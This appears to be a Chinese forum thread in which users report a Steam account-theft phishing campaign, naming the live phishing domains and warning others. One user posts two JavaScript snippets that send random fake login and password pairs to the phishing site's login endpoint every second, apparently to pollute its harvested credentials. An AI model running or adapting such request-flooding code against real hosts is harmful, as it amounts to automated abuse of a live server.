steam 的好友似乎被人盗号了

[XiLingHost]

刚才发消息说要给“CS 锦标赛”投票

然后发了个一看就是钓鱼的网站，最离谱的是这个网站似乎不走梯子上不去

https://pwexcup.com 注意，这是个钓鱼网站，请勿输入任何个人信息

有一说一，这东西做的也太粗糙了，一堆元素点不进去

[SunsetShimmer]

盗号站是 https://welcomepw.com/

[zydxn]

以前就见人发过

https://www.v2ex.com/t/818457

[SunsetShimmer]

function getRandomString(length) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < length; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}

function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}

function get() {
fetch("https://welcomepw.com/auth.php", {
"headers": {
"accept": "*/*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"sec-ch-ua": "\" Not;A Brand\";v=\"99\", \"Microsoft Edge\";v=\"103\", \"Chromium\";v=\"103\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "填自己的",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "doAuth=1&login=" + getRandomString(getRandomInt(8, 20)) + "&password=" + getRandomString(getRandomInt(12, 30)),
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(function (response) {
return response.json();
}
).then(function (data) {
console.log(data);
}
).catch(function (error) {
console.log(error);
}
);
}

setInterval(get, 1000);

[SunsetShimmer]

function getRandomString(length) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < length; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}

function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}

function getFullURL() {
return location.protocol + "//" + location.host + location.pathname;
}

function get() {
// Rewrite with xhr
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:"+"//welcomepw"+".c"+"om/auth.php", true);
xhr.setRequestHeader("accept", "*/*");
xhr.setRequestHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6");
xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("x-requested-with", "XMLHttpRequest");
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log(xhr.responseText);
}
}
xhr.send("doAuth=1&login=" + getRandomString(getRandomInt(8, 20)) + "&password=" + getRandomString(getRandomInt(12, 30)));
}

setInterval(get, 1000);

[v2tudnew]

密码管理器无法填充就知道有问题了。